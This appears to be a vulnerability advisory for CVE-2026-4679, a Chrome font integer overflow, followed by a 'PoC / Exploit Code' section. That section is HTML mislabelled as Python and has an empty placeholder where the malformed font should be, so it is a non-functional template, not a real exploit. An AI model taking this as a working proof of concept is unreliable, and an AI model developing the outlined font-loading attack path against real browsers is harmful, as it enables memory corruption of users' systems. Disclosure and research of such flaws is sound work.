Integer overflow in Fonts in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.165
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4679 -->
<!-- Trigger integer overflow in Chrome Font component -->
<html>
<head>
<style>
@font-face {
font-family: 'poc_font';
/* Base64 placeholder for malformed font data causing integer overflow */
src: url('data:font/woff;base64,');
}
body {
font-family: 'poc_font';
}
</style>
</head>
<body>
<script>
// Attempt to trigger the overflow condition via font loading
var canvas = document.createElement('canvas');
var ctx = canvas.getContext('2d');
// Force font rendering to trigger the vulnerable path
ctx.font = '100px poc_font';
ctx.fillText('Trigger Overflow', 10, 50);
</script>
</body>
</html>